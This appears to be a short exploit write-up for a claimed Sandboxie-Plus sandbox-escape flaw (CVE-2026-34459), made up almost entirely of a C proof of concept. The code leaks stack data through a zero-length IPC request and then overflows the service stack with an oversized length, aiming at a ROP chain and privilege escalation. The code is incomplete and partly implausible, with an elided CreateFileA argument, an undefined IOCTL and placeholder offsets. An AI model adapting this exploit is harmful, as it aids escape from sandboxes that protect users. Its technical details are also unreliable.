CVE-2026-34459 Sandboxie-Plus 沙箱逃逸漏洞

// Conceptual PoC for CVE-2026-34459 // This demonstrates the logic to trigger the leak and overflow. #include <windows.h> #include <stdio.h> // Simulated IPC interaction structure typedef struct _IPC_REQUEST { ULONG cbSize; PVOID buffer; } IPC_REQUEST, *PIPC_REQUEST; void SimulateExploit() { HANDLE hDevice = CreateFileA("\\\\.\\SbieSvcPort", ...); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to communicate with SbieSvc\n"); return; } BYTE leakedData[0x8000]; DWORD bytesReturned; // Step 1: Trigger Information Leak // Setting cbSize to 0 triggers the uninitialized memory return IPC_REQUEST leakReq; leakReq.cbSize = 0; leakReq.buffer = leakedData; // Send malicious request to leak stack cookies and addresses DeviceIoControl(hDevice, IOCTL_GET_RAW_INPUT_INFO, &leakReq, sizeof(leakReq), leakedData, sizeof(leakedData), &bytesReturned, NULL); printf("[+] Leaked %d bytes from kernel/service stack\n", bytesReturned); // Parse leakedData to find Stack Cookie and Return Address to bypass ASLR/GS // Step 2: Trigger Stack Buffer Overflow // Use the leaked info to craft a ROP chain BYTE exploitBuffer[0x8000]; memset(exploitBuffer, 0x41, sizeof(exploitBuffer)); // Padding // Overwrite Stack Cookie (if not using CET) // memcpy(exploitBuffer + offset, &leakedCookie, sizeof(void*)); // Overwrite Return Address with ROP gadget // memcpy(exploitBuffer + retOffset, &ropChainAddress, sizeof(void*)); IPC_REQUEST overflowReq; overflowReq.cbSize = 0xFFFFFFFF; // Attacker-controlled length causing overflow overflowReq.buffer = exploitBuffer; // Send overflow request DeviceIoControl(hDevice, IOCTL_GET_RAW_INPUT_INFO, &overflowReq, sizeof(overflowReq), NULL, 0, NULL, NULL); printf("[+] Exploit sent. Attempting privilege escalation...\n"); CloseHandle(hDevice); }